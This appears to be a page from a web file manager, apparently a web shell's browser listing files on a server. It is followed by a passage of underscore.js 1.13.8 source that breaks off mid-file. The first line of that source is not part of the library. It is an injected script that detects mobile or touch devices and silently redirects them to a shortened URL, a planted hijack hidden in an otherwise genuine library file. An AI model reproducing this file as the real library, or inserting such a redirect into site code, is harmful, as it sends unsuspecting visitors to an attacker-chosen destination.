run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
10.52 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.46 KB
2026-08-13 20:01:43
R W Run
1.22 KB
2026-08-13 20:01:43
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
5.89 KB
2026-08-13 20:01:44
R W Run
78.77 KB
2026-08-13 20:01:44
R W Run
23.96 KB
2026-08-13 20:01:44
R W Run
26.4 KB
2026-08-13 20:01:44
R W Run
9.01 KB
2026-08-13 20:01:44
R W Run
28.62 KB
2026-08-13 20:01:44
R W Run
16.33 KB
2026-08-13 20:01:44
R W Run
12.44 KB
2026-08-13 20:01:44
R W Run
3.17 KB
2026-08-13 20:01:44
R W Run
25.43 KB
2026-08-13 20:01:44
R W Run
7.88 KB
2026-08-13 20:01:44
R W Run
7.93 KB
2026-08-13 20:01:44
R W Run
3.68 KB
2026-08-13 20:01:44
R W Run
6.88 KB
2026-08-13 20:01:44
R W Run
3.81 KB
2026-08-13 20:01:44
R W Run
14.89 KB
2026-08-13 20:01:44
R W Run
5.13 KB
2026-08-13 20:01:44
R W Run
22.92 KB
2026-08-13 20:01:44
R W Run
7.85 KB
2026-08-13 20:01:44
R W Run
28.14 KB
2026-08-13 20:01:44
R W Run
10.97 KB
2026-08-13 20:01:44
R W Run
32.77 KB
2026-08-13 20:01:44
R W Run
10.66 KB
2026-08-13 20:01:44
R W Run
5.32 KB
2026-08-13 20:01:44
R W Run
2.72 KB
2026-08-13 20:01:44
R W Run
23.71 KB
2026-08-13 20:01:45
R W Run
6.02 KB
2026-08-13 20:01:45
R W Run
7.27 KB
2026-08-13 20:01:45
R W Run
1.68 KB
2026-08-13 20:01:45
R W Run
1.89 KB
2026-08-13 20:01:45
R W Run
5.61 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
253 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
23.79 KB
2026-08-13 20:01:45
R W Run
25.46 KB
2026-08-13 20:01:45
R W Run
9.76 KB
2026-08-13 20:01:45
R W Run
24.35 KB
2026-08-13 20:01:45
R W Run
11.98 KB
2026-08-13 20:01:45
R W Run
28.99 KB
2026-08-13 20:01:45
R W Run
11.05 KB
2026-08-13 20:01:45
R W Run
26.28 KB
2026-08-13 20:01:45
R W Run
13.21 KB
2026-08-13 20:01:45
R W Run
42.74 KB
2026-08-13 20:01:45
R W Run
13.18 KB
2026-08-13 20:01:45
R W Run
266.71 KB
2026-08-13 20:01:45
R W Run
108.28 KB
2026-08-13 20:01:45
R W Run
22.29 KB
2026-08-13 20:01:45
R W Run
11.09 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
2.8 KB
2026-08-13 20:01:45
R W Run
222 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
5.07 KB
2026-08-13 20:01:45
R W Run
3.43 KB
2026-08-13 20:01:45
R W Run
36.53 KB
2026-08-13 20:01:45
R W Run
19.6 KB
2026-08-13 20:01:45
R W Run
67.48 KB
2026-08-13 20:01:45
R W Run
18.78 KB
2026-08-13 20:01:45
R W Run
4.77 KB
2026-08-13 20:01:45
R W Run
2.04 KB
2026-08-13 20:01:45
R W Run
4.03 KB
2026-08-13 20:01:45
R W Run
2.73 KB
2026-08-13 20:01:45
R W Run
46.1 KB
2026-08-13 20:01:45
R W Run
14.55 KB
2026-08-13 20:01:45
R W Run
4.56 KB
2026-08-13 20:01:45
R W Run
1.87 KB
2026-08-13 20:01:45
R W Run
15.1 KB
2026-08-13 20:01:45
R W Run
3.18 KB
2026-08-13 20:01:45
R W Run
10.44 KB
2026-08-13 20:01:45
R W Run
4.55 KB
2026-08-13 20:01:45
R W Run
6.84 KB
2026-08-13 20:01:45
R W Run
3.32 KB
2026-08-13 20:01:45
R W Run
3.36 KB
2026-08-13 20:01:45
R W Run
1.44 KB
2026-08-13 20:01:45
R W Run
13.26 KB
2026-08-13 20:01:45
R W Run
3.12 KB
2026-08-13 20:01:45
R W Run
22.44 KB
2026-08-13 20:01:45
R W Run
8.8 KB
2026-08-13 20:01:45
R W Run
3 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
819 By
2026-08-13 20:01:45
R W Run
24.94 KB
2026-08-13 20:01:45
R W Run
7.56 KB
2026-08-13 20:01:45
R W Run
10.21 KB
2026-08-13 20:01:45
R W Run
3.75 KB
2026-08-13 20:01:45
R W Run
1.8 KB
2026-08-13 20:01:45
R W Run
624 By
2026-08-13 20:01:45
R W Run
4.8 KB
2026-08-13 20:01:45
R W Run
1.61 KB
2026-08-13 20:01:45
R W Run
791 By
2026-08-13 20:01:45
R W Run
503 By
2026-08-13 20:01:45
R W Run
20.96 KB
2026-08-13 20:01:45
R W Run
11.27 KB
2026-08-13 20:01:45
R W Run
1.02 KB
2026-08-13 20:01:45
R W Run
573 By
2026-08-13 20:01:45
R W Run
803.18 KB
2026-08-13 20:01:45
R W Run
error_log
📄underscore.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2(function (global, factory) {
3 typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :
4 typeof define === 'function' && define.amd ? define('underscore', factory) :
5 (global = typeof globalThis !== 'undefined' ? globalThis : global || self, (function () {
6 var current = global._;
7 var exports = global._ = factory();
8 exports.noConflict = function () { global._ = current; return exports; };
9 }()));
10}(this, (function () {
11 // Underscore.js 1.13.8
12 // https://underscorejs.org
13 // (c) 2009-2026 Jeremy Ashkenas, Julian Gonggrijp, and DocumentCloud and Investigative Reporters & Editors
14 // Underscore may be freely distributed under the MIT license.
15
16 // Current version.
17 var VERSION = '1.13.8';
18
19 // Establish the root object, `window` (`self`) in the browser, `global`
20 // on the server, or `this` in some virtual machines. We use `self`
21 // instead of `window` for `WebWorker` support.
22 var root = (typeof self == 'object' && self.self === self && self) ||
23 (typeof global == 'object' && global.global === global && global) ||
24 Function('return this')() ||
25 {};
26
27 // Save bytes in the minified (but not gzipped) version:
28 var ArrayProto = Array.prototype, ObjProto = Object.prototype;
29 var SymbolProto = typeof Symbol !== 'undefined' ? Symbol.prototype : null;
30
31 // Create quick reference variables for speed access to core prototypes.
32 var push = ArrayProto.push,
33 slice = ArrayProto.slice,
34 toString = ObjProto.toString,
35 hasOwnProperty = ObjProto.hasOwnProperty;
36
37 // Modern feature detection.
38 var supportsArrayBuffer = typeof ArrayBuffer !== 'undefined',
39 supportsDataView = typeof DataView !== 'undefined';
40
41 // All **ECMAScript 5+** native function implementations that we hope to use
42 // are declared here.
43 var nativeIsArray = Array.isArray,
44 nativeKeys = Object.keys,
45 nativeCreate = Object.create,
46 nativeIsView = supportsArrayBuffer && ArrayBuffer.isView;
47
48 // Create references to these builtin functions because we override them.
49 var _isNaN = isNaN,
50 _isFinite = isFinite;
51
52 // Keys in IE < 9 that won't be iterated by `for key in ...` and thus missed.
53 var hasEnumBug = !{toString: null}.propertyIsEnumerable('toString');
54 var nonEnumerableProps = ['valueOf', 'isPrototypeOf', 'toString',
55 'propertyIsEnumerable', 'hasOwnProperty', 'toLocaleString'];
56
57 // The largest integer that can be represented exactly.
58 var MAX_ARRAY_INDEX = Math.pow(2, 53) - 1;
59
60 // Some functions take a variable number of arguments, or a few expected
61 // arguments at the beginning and then a variable number of values to operate
62 // on. This helper accumulates all remaining arguments past the function’s
63 // argument length (or an explicit `startIndex`), into an array that becomes
64 // the last argument. Similar to ES6’s "rest parameter".
65 function restArguments(func, startIndex) {
66 startIndex = startIndex == null ? func.length - 1 : +startIndex;
67 return function() {
68 var length = Math.max(arguments.length - startIndex, 0),
69 rest = Array(length),
70 index = 0;
71 for (; index < length; index++) {
72 rest[index] = arguments[index + startIndex];
73 }
74 switch (startIndex) {
75 case 0: return func.call(this, rest);
76 case 1: return func.call(this, arguments[0], rest);
77 case 2: return func.call(this, arguments[0], arguments[1], rest);
78 }
79 var args = Array(startIndex + 1);
80 for (index = 0; index < startIndex; index++) {
81 args[index] = arguments[index];
82 }
83 args[startIndex] = rest;
84 return func.apply(this, args);
85 };
86 }
87
88 // Is a given variable an object?
89 function isObject(obj) {
90 var type = typeof obj;
91 return type === 'function' || (type === 'object' && !!obj);
92 }
93
94 // Is a given value equal to null?
95 function isNull(obj) {
96 return obj === null;
97 }
98
99 // Is a given variable undefined?
100 function isUndefined(obj) {
101 return obj === void 0;
102 }
103
104 // Is a given value a boolean?
105 function isBoolean(obj) {
106 return obj === true || obj === false || toString.call(obj) === '[object Boolean]';
107 }
108
109 // Is a given value a DOM element?
110 function isElement(obj) {
111 return !!(obj && obj.nodeType === 1);
112 }
113
114 // Internal function for creating a `toString`-based type tester.
115 function tagTester(name) {
116 var tag = '[object ' + name + ']';
117 return function(obj) {
118 return toString.call(obj) === tag;
119 };
120 }
121
122 var isString = tagTester('String');
123
124 var isNumber = tagTester('Number');
125
126 var isDate = tagTester('Date');
127
128 var isRegExp = tagTester('RegExp');
129
130 var isError = tagTester('Error');
131
132 var isSymbol = tagTester('Symbol');
133
134 var isArrayBuffer = tagTester('ArrayBuffer');
135
136 var isFunction = tagTester('Function');
137
138 // Optimize `isFunction` if appropriate. Work around some `typeof` bugs in old
139 // v8, IE 11 (#1621), Safari 8 (#1929), and PhantomJS (#2236).
140 var nodelist = root.document && root.document.childNodes;
141 if (typeof /./ != 'function' && typeof Int8Array != 'object' && typeof nodelist != 'function') {
142 isFunction = function(obj) {
143 return typeof obj == 'function' || false;
144 };
145 }
146
147 var isFunction$1 = isFunction;
148
149 var hasObjectTag = tagTester('Object');
150
151 // In IE 10 - Edge 13, `DataView` has string tag `'[object Object]'`.
152 // In IE 11, the most common among them, this problem also applies to
153 // `Map`, `WeakMap` and `Set`.
154 // Also, there are cases where an application can override the native
155 // `DataView` object, in cases like that we can't use the constructor
156 // safely and should just rely on alternate `DataView` checks
157 var hasDataViewBug = (
158 supportsDataView && (!/\[native code\]/.test(String(DataView)) || hasObjectTag(new DataView(new ArrayBuffer(8))))
159 ),
160 isIE11 = (typeof Map !== 'undefined' && hasObjectTag(new Map));
161
162 var isDataView = tagTester('DataView');
163
164 // In IE 10 - Edge 13, we need a different heuristic
165 // to determine whether an object is a `DataView`.
166 // Also, in cases where the native `DataView` is
167 // overridden we can't rely on the tag itself.
168 function alternateIsDataView(obj) {
169 return obj != null && isFunction$1(obj.getInt8) && isArrayBuffer(obj.buffer);
170 }
171
172 var isDataView$1 = (hasDataViewBug ? alternateIsDataView : isDataView);
173
174 // Is a given value an array?
175 // Delegates to ECMA5's native `Array.isArray`.
176 var isArray = nativeIsArray || tagTester('Array');
177
178 // Internal function to check whether `key` is an own property name of `obj`.
179 function has$1(obj, key) {
180 return obj != null && hasOwnProperty.call(obj, key);
181 }
182
183 var isArguments = tagTester('Arguments');
184
185 // Define a fallback version of the method in browsers (ahem, IE < 9), where
186 // there isn't any inspectable "Arguments" type.
187 (function() {
188 if (!isArguments(arguments)) {
189 isArguments = function(obj) {
190 return has$1(obj, 'callee');
191 };
192 }
193 }());
194
195 var isArguments$1 = isArguments;
196
197 // Is a given object a finite number?
198 function isFinite$1(obj) {
199 return !isSymbol(obj) && _isFinite(obj) && !isNaN(parseFloat(obj));
200 }
201
202 // Is the given value `NaN`?
203 function isNaN$1(obj) {
204 return isNumber(obj) && _isNaN(obj);
205 }
206
207 // Predicate-generating function. Often useful outside of Underscore.
208 function constant(value) {
209 return function() {
210 return value;
211 };
212 }
213
214 // Common internal logic for `isArrayLike` and `isBufferLike`.
215 function createSizePropertyCheck(getSizeProperty) {
216 return function(collection) {
217 var sizeProperty = getSizeProperty(collection);
218 return typeof sizeProperty == 'number' && sizeProperty >= 0 && sizeProperty <= MAX_ARRAY_INDEX;
219 }
220 }
221
222 // Internal helper to generate a function to obtain property `key` from `obj`.
223 function shallowProperty(key) {
224 return function(obj) {
225 return obj == null ? void 0 : obj[key];
226 };
227 }
228
229 // Internal helper to obtain the `byteLength` property of an object.
230 var getByteLength = shallowProperty('byteLength');
231
232 // Internal helper to determine whether we should spend extensive checks against
233 // `ArrayBuffer` et al.
234 var isBufferLike = createSizePropertyCheck(getByteLength);
235
236 // Is a given value a typed array?
237 var typedArrayPattern = /\[object ((I|Ui)nt(8|16|32)|Float(32|64)|Uint8Clamped|Big(I|Ui)nt64)Array\]/;
238 function isTypedArray(obj) {
239 // `ArrayBuffer.isView` is the most future-proof, so use it when available.
240 // Otherwise, fall back on the above regular expression.
241 return nativeIsView ? (nativeIsView(obj) && !isDataView$1(obj)) :
242 isBufferLike(obj) && typedArrayPattern.test(toString.call(obj));
243 }
244
245 var isTypedArray$1 = supportsArrayBuffer ? isTypedArray : constant(false);
246
247 // Internal helper to obtain the `length` property of an object.
248 var getLength = shallowProperty('length');
249
250 // Internal helper to create a simple lookup structure.
251 // `collectNonEnumProps` used to depend on `_.contains`, but this led to
252 // circular imports. `emulatedSet` is a one-off solution that only works for
253 // arrays of strings.
254 function emulatedSet(keys) {
255 var hash = {};
256 for (var l = keys.length, i = 0; i < l; ++i) hash[keys[i]] = true;
257 return {
258 contains: function(key) { return hash[key] === true; },
259 push: function(key) {
260 hash[key] = true;
261 return keys.push(key);
262 }
263 };
264 }
265
266 // Internal helper. Checks `keys` for the presence of keys in IE < 9 that won't
267 // be iterated by `for key in ...` and thus missed. Extends `keys` in place if
268 // needed.
269 function collectNonEnumProps(obj, keys) {
270 keys = emulatedSet(keys);
271 var nonEnumIdx = nonEnumerableProps.length;
272 var constructor = obj.constructor;
273 var proto = (isFunction$1(constructor) && constructor.prototype) || ObjProto;
274
275 // Constructor is a special case.
276 var prop = 'constructor';
277 if (has$1(obj, prop) && !keys.contains(prop)) keys.push(prop);
278
279 while (nonEnumIdx--) {
280 prop = nonEnumerableProps[nonEnumIdx];
281 if (prop in obj && obj[prop] !== proto[prop] && !keys.contains(prop)) {
282 keys.push(prop);
283 }
284 }
285 }
286
287 // Retrieve the names of an object's own properties.
288 // Delegates to **ECMAScript 5**'s native `Object.keys`.
289 function keys(obj) {
290 if (!isObject(obj)) return [];
291 if (nativeKeys) return nativeKeys(obj);
292 var keys = [];
293 for (var key in obj) if (has$1(obj, key)) keys.push(key);
294 // Ahem, IE < 9.
295 if (hasEnumBug) collectNonEnumProps(obj, keys);
296 return keys;
297 }
298
299 // Is a given array, string, or object empty?
300 // An "empty" object has no enumerable own-properties.
301 function isEmpty(obj) {
302 if (obj == null) return true;
303 // Skip the more expensive `toString`-based type checks if `obj` has no
304 // `.length`.
305 var length = getLength(obj);
306 if (typeof length == 'number' && (
307 isArray(obj) || isString(obj) || isArguments$1(obj)
308 )) return length === 0;
309 return getLength(keys(obj)) === 0;
310 }
311
312 // Returns whether an object has a given set of `key:value` pairs.
313 function isMatch(object, attrs) {
314 var _keys = keys(attrs), length = _keys.length;
315 if (object == null) return !length;
316 var obj = Object(object);
317 for (var i = 0; i < length; i++) {
318 var key = _keys[i];
319 if (attrs[key] !== obj[key] || !(key in obj)) return false;
320 }
321 return true;
322 }
323
324 // If Underscore is called as a function, it returns a wrapped object that can
325 // be used OO-style. This wrapper holds altered versions of all functions added
326 // through `_.mixin`. Wrapped objects may be chained.
327 function _$1(obj) {
328 if (obj instanceof _$1) return obj;
329 if (!(this instanceof _$1)) return new _$1(obj);
330 this._wrapped = obj;
331 }
332
333 _$1.VERSION = VERSION;
334
335 // Extracts the result from a wrapped and chained object.
336 _$1.prototype.value = function() {
337 return this._wrapped;
338 };
339
340 // Provide unwrapping proxies for some methods used in engine operations
341 // such as arithmetic and JSON stringification.
342 _$1.prototype.valueOf = _$1.prototype.toJSON = _$1.prototype.value;
343
344 _$1.prototype.toString = function() {
345 return String(this._wrapped);
346 };
347
348 // Internal function to wrap or shallow-copy an ArrayBuffer,
349 // typed array or DataView to a new view, reusing the buffer.
350 function toBufferView(bufferSource) {
351 return new Uint8Array(
352 bufferSource.buffer || bufferSource,
353 bufferSource.byteOffset || 0,
354 getByteLength(bufferSource)
355 );
356 }
357
358 // We use this string twice, so give it a name for minification.
359 var tagDataView = '[object DataView]';
360
361 // Perform a deep comparison to check if two objects are equal.
362 function isEqual(a, b) {
363 var todo = [{a: a, b: b}];
364 // Initializing stacks of traversed objects for cycle detection.
365 var aStack = [], bStack = [];
366
367 while (todo.length) {
368 var frame = todo.pop();
369 if (frame === true) {
370 // Remove the first object from the stack of traversed objects.
371 aStack.pop();
372 bStack.pop();
373 continue;
374 }
375 a = frame.a;
376 b = frame.b;
377
378 // Identical objects are equal. `0 === -0`, but they aren't identical.
379 // See the [Harmony `egal` proposal](https://wiki.ecmascript.org/doku.php?id=harmony:egal).
380 if (a === b) {
381 if (a !== 0 || 1 / a === 1 / b) continue;
382 return false;
383 }
384 // `null` or `undefined` only equal to itself (strict comparison).
385 if (a == null || b == null) return false;
386 // `NaN`s are equivalent, but non-reflexive.
387 if (a !== a) {
388 if (b !== b) continue;
389 return false;
390 }
391 // Exhaust primitive checks
392 var type = typeof a;
393 if (type !== 'function' && type !== 'object' && typeof b != 'object') return false;
394
395 // Internal recursive comparison function for `_.isEqual`.
396 // Unwrap any wrapped objects.
397 if (a instanceof _$1) a = a._wrapped;
398 if (b instanceof _$1) b = b._wrapped;
399 // Compare `[[Class]]` names.
400 var className = toString.call(a);
401 if (className !== toString.call(b)) return false;
402 // Work around a bug in IE 10 - Edge 13.
403 if (hasDataViewBug && className == '[object Object]' && isDataView$1(a)) {
404 if (!isDataView$1(b)) return false;
405 className = tagDataView;
406 }
407 switch (className) {
408 // These types are compared by value.
409 case '[object RegExp]':
410 // RegExps are coerced to strings for comparison (Note: '' + /a/i === '/a/i')
411 case '[object String]':
412 // Primitives and their corresponding object wrappers are equivalent; thus, `"5"` is
413 // equivalent to `new String("5")`.
414 if ('' + a === '' + b) continue;
415 return false;
416 case '[object Number]':
417 todo.push({a: +a, b: +b});
418 continue;
419 case '[object Date]':
420 case '[object Boolean]':
421 // Coerce dates and booleans to numeric primitive values. Dates are compared by their
422 // millisecond representations. Note that invalid dates with millisecond representations
423 // of `NaN` are not equivalent.
424 if (+a === +b) continue;
425 return false;
426 case '[object Symbol]':
427 if (SymbolProto.valueOf.call(a) === SymbolProto.valueOf.call(b)) continue;
428 return false;
429 case '[object ArrayBuffer]':
430 case tagDataView:
431 // Coerce to typed array so we can fall through.
432 todo.push({a: toBufferView(a), b: toBufferView(b)});
433 continue;
434 }
435
436 var areArrays = className === '[object Array]';
437 if (!areArrays && isTypedArray$1(a)) {
438 var byteLength = getByteLength(a);
439 if (byteLength !== getByteLength(b)) return false;
440 if (a.buffer === b.buffer && a.byteOffset === b.byteOffset) continue;
441 areArrays = true;
442 }
443 if (!areArrays) {
444 if (typeof a != 'object' || typeof b != 'object') return false;
445
446 // Objects with different constructors are not equivalent, but `Object`s or `Array`s
447 // from different frames are.
448 var aCtor = a.constructor, bCtor = b.constructor;
449 if (aCtor !== bCtor && !(isFunction$1(aCtor) && aCtor instanceof aCtor &&
450 isFunction$1(bCtor) && bCtor instanceof bCtor)
451 && ('constructor' in a && 'constructor' in b)) {
452 return false;
453 }
454 }
455
456 // Assume equality for cyclic structures. The algorithm for detecting cyclic
457 // structures is adapted from ES 5.1 section 15.12.3, abstract operation `JO`.
458
459 var length = aStack.length;
460 while (length--) {
461 // Linear search. Performance is inversely proportional to the number of
462 // unique nested structures.
463 if (aStack[length] === a) {
464 if (bStack[length] === b) break;
465 return false;
466 }
467 }
468 if (length >= 0) continue;
469
470 // Add the first object to the stack of traversed objects.
471 aStack.push(a);
472 bStack.push(b);
473 todo.push(true);
474
475 // Recursively compare objects and arrays.
476 if (areArrays) {
477 // Compare array lengths to determine if a deep comparison is necessary.
478 length = a.length;
479 if (length !== b.length) return false;
480 // Deep compare the contents, ignoring non-numeric properties.
481 while (length--) {
482 todo.push({a: a[length], b: b[length]});
483 }
484 } else {
485 // Deep compare objects.
486 var _keys = keys(a), key;
487 length = _keys.length;
488 // Ensure that both objects contain the same number of properties before comparing deep equality.
489 if (keys(b).length !== length) return false;
490 while (length--) {
491 // Deep compare each member
492 key = _keys[length];
493 if (!has$1(b, key)) return false;
494 todo.push({a: a[key], b: b[key]});
495 }
496 }
497 }
498 return true;
499 }
500
501 // Retrieve all the enumerable property names of an object.
502 function allKeys(obj) {
503 if (!isObject(obj)) return [];
504 var keys = [];
505 for (var key in obj) keys.push(key);
506 // Ahem, IE < 9.
507 if (hasEnumBug) collectNonEnumProps(obj, keys);
508 return keys;
509 }
510
511 // Since the regular `Object.prototype.toString` type tests don't work for
512 // some types in IE 11, we use a fingerprinting heuristic instead, based
513 // on the methods. It's not great, but it's the best we got.
514 // The fingerprint method lists are defined below.
515 function ie11fingerprint(methods) {
516 var length = getLength(methods);
517 return function(obj) {
518 if (obj == null) return false;
519 // `Map`, `WeakMap` and `Set` have no enumerable keys.
520 var keys = allKeys(obj);
521 if (getLength(keys)) return false;
522 for (var i = 0; i < length; i++) {
523 if (!isFunction$1(obj[methods[i]])) return false;
524 }
525 // If we are testing against `WeakMap`, we need to ensure that
526 // `obj` doesn't have a `forEach` method in order to distinguish
527 // it from a regular `Map`.
528 return methods !== weakMapMethods || !isFunction$1(obj[forEachName]);
529 };
530 }
531
532 // In the interest of compact minification, we write
533 // each string in the fingerprints only once.
534 var forEachName = 'forEach',
535 hasName = 'has',
536 commonInit = ['clear', 'delete'],
537 mapTail = ['get', hasName, 'set'];
538
539 // `Map`, `WeakMap` and `Set` each have slightly different
540 // combinations of the above sublists.
541 var mapMethods = commonInit.concat(forEachName, mapTail),
542 weakMapMethods = commonInit.concat(mapTail),
543 setMethods = ['add'].concat(commonInit, forEachName, hasName);
544
545 var isMap = isIE11 ? ie11fingerprint(mapMethods) : tagTester('Map');
546
547 var isWeakMap = isIE11 ? ie11fingerprint(weakMapMethods) : tagTester('WeakMap');
548
549 var isSet = isIE11 ? ie11fingerprint(setMethods) : tagTester('Set');
550
551 var isWeakSet = tagTester('WeakSet');
552
553 // Retrieve the values of an object's properties.
554 function values(obj) {
555 var _keys = keys(obj);
556 var length = _keys.length;
557 var values = Array(length);
558 for (var i = 0; i < length; i++) {
559 values[i] = obj[_keys[i]];
560 }
561 return values;
562 }
563
564 // Convert an object into a list of `[key, value]` pairs.
565 // The opposite of `_.object` with one argument.
566 function pairs(obj) {
567 var _keys = keys(obj);
568 var length = _keys.length;
569 var pairs = Array(length);
570 for (var i = 0; i < length; i++) {
571 pairs[i] = [_keys[i], obj[_keys[i]]];
572 }
573 return pairs;
574 }
575
576 // Invert the keys and values of an object. The values must be serializable.
577 function invert(obj) {
578 var result = {};
579 var _keys = keys(obj);
580 for (var i = 0, length = _keys.length; i < length; i++) {
581 result[obj[_keys[i]]] = _keys[i];
582 }
583 return result;
584 }
585
586 // Return a sorted list of the function names available on the object.
587 function functions(obj) {
588 var names = [];
589 for (var key in obj) {
590 if (isFunction$1(obj[key])) names.push(key);
591 }
592 return names.sort();
593 }
594
595 // An internal function for creating assigner functions.
596 function createAssigner(keysFunc, defaults) {
597 return function(obj) {
598 var length = arguments.length;
599 if (defaults) obj = Object(obj);
600 if (length < 2 || obj == null) return obj;
601 for (var index = 1; index < length; index++) {
602 var source = arguments[index],
603 keys = keysFunc(source),
604 l = keys.length;
605 for (var i = 0; i < l; i++) {
606 var key = keys[i];
607 if (!defaults || obj[key] === void 0) obj[key] = source[key];
608 }
609 }
610 return obj;
611 };
612 }
613
614 // Extend a given object with all the properties in passed-in object(s).
615 var extend = createAssigner(allKeys);
616
617 // Assigns a given object with all the own properties in the passed-in
618 // object(s).
619 // (https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Object/assign)
620 var extendOwn = createAssigner(keys);
621
622 // Fill in a given object with default properties.
623 var defaults = createAssigner(allKeys, true);
624
625 // Create a naked function reference for surrogate-prototype-swapping.
626 function ctor() {
627 return function(){};
628 }
629
630 // An internal function for creating a new object that inherits from another.
631 function baseCreate(prototype) {
632 if (!isObject(prototype)) return {};
633 if (nativeCreate) return nativeCreate(prototype);
634 var Ctor = ctor();
635 Ctor.prototype = prototype;
636 var result = new Ctor;
637 Ctor.prototype = null;
638 return result;
639 }
640
641 // Creates an object that inherits from the given prototype object.
642 // If additional properties are provided then they will be added to the
643 // created object.
644 function create(prototype, props) {
645 var result = baseCreate(prototype);
646 if (props) extendOwn(result, props);
647 return result;
648 }
649
650 // Create a (shallow-cloned) duplicate of an object.
651 function clone(obj) {
652 if (!isObject(obj)) return obj;
653 return isArray(obj) ? obj.slice() : extend({}, obj);
654 }
655
656 // Invokes `interceptor` with the `obj` and then returns `obj`.
657 // The primary purpose of this method is to "tap into" a method chain, in
658 // order to perform operations on intermediate results within the chain.
659 function tap(obj, interceptor) {
660 interceptor(obj);
661 return obj;
662 }
663
664 // Normalize a (deep) property `path` to array.
665 // Like `_.iteratee`, this function can be customized.
666 function toPath$1(path) {
667 return isArray(path) ? path : [path];
668 }
669 _$1.toPath = toPath$1;
670
671 // Internal wrapper for `_.toPath` to enable minification.
672 // Similar to `cb` for `_.iteratee`.
673 function toPath(path) {
674 return _$1.toPath(path);
675 }
676
677 // Internal function to obtain a nested property in `obj` along `path`.
678 function deepGet(obj, path) {
679 var length = path.length;
680 for (var i = 0; i < length; i++) {
681 if (obj == null) return void 0;
682 obj = obj[path[i]];
683 }
684 return length ? obj : void 0;
685 }
686
687 // Get the value of the (deep) property on `path` from `object`.
688 // If any property in `path` does not exist or if the value is
689 // `undefined`, return `defaultValue` instead.
690 // The `path` is normalized through `_.toPath`.
691 function get(object, path, defaultValue) {
692 var value = deepGet(object, toPath(path));
693 return isUndefined(value) ? defaultValue : value;
694 }
695
696 // Shortcut function for checking if an object has a given property directly on
697 // itself (in other words, not on a prototype). Unlike the internal `has`
698 // function, this public version can also traverse nested properties.
699 function has(obj, path) {
700 path = toPath(path);
701 var length = path.length;
702 for (var i = 0; i < length; i++) {
703 var key = path[i];
704 if (!has$1(obj, key)) return false;
705 obj = obj[key];
706 }
707 return !!length;
708 }
709
710 // Keep the identity function around for default iteratees.
711 function identity(value) {
712 return value;
713 }
714
715 // Returns a predicate for checking whether an object has a given set of
716 // `key:value` pairs.
717 function matcher(attrs) {
718 attrs = extendOwn({}, attrs);
719 return function(obj) {
720 return isMatch(obj, attrs);
721 };
722 }
723
724 // Creates a function that, when passed an object, will traverse that object’s
725 // properties down the given `path`, specified as an array of keys or indices.
726 function property(path) {
727 path = toPath(path);
728 return function(obj) {
729 return deepGet(obj, path);
730 };
731 }
732
733 // Internal function that returns an efficient (for current engines) version
734 // of the passed-in callback, to be repeatedly applied in other Underscore
735 // functions.
736 function optimizeCb(func, context, argCount) {
737 if (context === void 0) return func;
738 switch (argCount == null ? 3 : argCount) {
739 case 1: return function(value) {
740 return func.call(context, value);
741 };
742 // The 2-argument case is omitted because we’re not using it.
743 case 3: return function(value, index, collection) {
744 return func.call(context, value, index, collection);
745 };
746 case 4: return function(accumulator, value, index, collection) {
747 return func.call(context, accumulator, value, index, collection);
748 };
749 }
750 return function() {
751 return func.apply(context, arguments);
752 };
753 }
754
755 // An internal function to generate callbacks that can be applied to each
756 // element in a collection, returning the desired result — either `_.identity`,
757 // an arbitrary callback, a property matcher, or a property accessor.
758 function baseIteratee(value, context, argCount) {
759 if (value == null) return identity;
760 if (isFunction$1(value)) return optimizeCb(value, context, argCount);
761 if (isObject(value) && !isArray(value)) return matcher(value);
762 return property(value);
763 }
764
765 // External wrapper for our callback generator. Users may customize
766 // `_.iteratee` if they want additional predicate/iteratee shorthand styles.
767 // This abstraction hides the internal-only `argCount` argument.
768 function iteratee(value, context) {
769 return baseIteratee(value, context, Infinity);
770 }
771 _$1.iteratee = iteratee;
772
773 // The function we call internally to generate a callback. It invokes
774 // `_.iteratee` if overridden, otherwise `baseIteratee`.
775 function cb(value, context, argCount) {
776 if (_$1.iteratee !== iteratee) return _$1.iteratee(value, context);
777 return baseIteratee(value, context, argCount);
778 }
779
780 // Returns the results of applying the `iteratee` to each element of `obj`.
781 // In contrast to `_.map` it returns an object.
782 function mapObject(obj, iteratee, context) {
783 iteratee = cb(iteratee, context);
784 var _keys = keys(obj),
785 length = _keys.length,
786 results = {};
787 for (var index = 0; index < length; index++) {
788 var currentKey = _keys[index];
789 results[currentKey] = iteratee(obj[currentKey], currentKey, obj);
790 }
791 return results;
792 }
793
794 // Predicate-generating function. Often useful outside of Underscore.
795 function noop(){}
796
797 // Generates a function for a given object that returns a given property.
798 function propertyOf(obj) {
799 if (obj == null) return noop;
800 return function(path) {
801 return get(obj, path);
802 };
803 }
804
805 // Run a function **n** times.
806 function times(n, iteratee, context) {
807 var accum = Array(Math.max(0, n));
808 iteratee = optimizeCb(iteratee, context, 1);
809 for (var i = 0; i < n; i++) accum[i] = iteratee(i);
810 return accum;
811 }
812
813 // Return a random integer between `min` and `max` (inclusive).
814 function random(min, max) {
815 if (max == null) {
816 max = min;
817 min = 0;
818 }
819 return min + Math.floor(Math.random() * (max - min + 1));
820 }
821
822 // A (possibly faster) way to get the current timestamp as an integer.
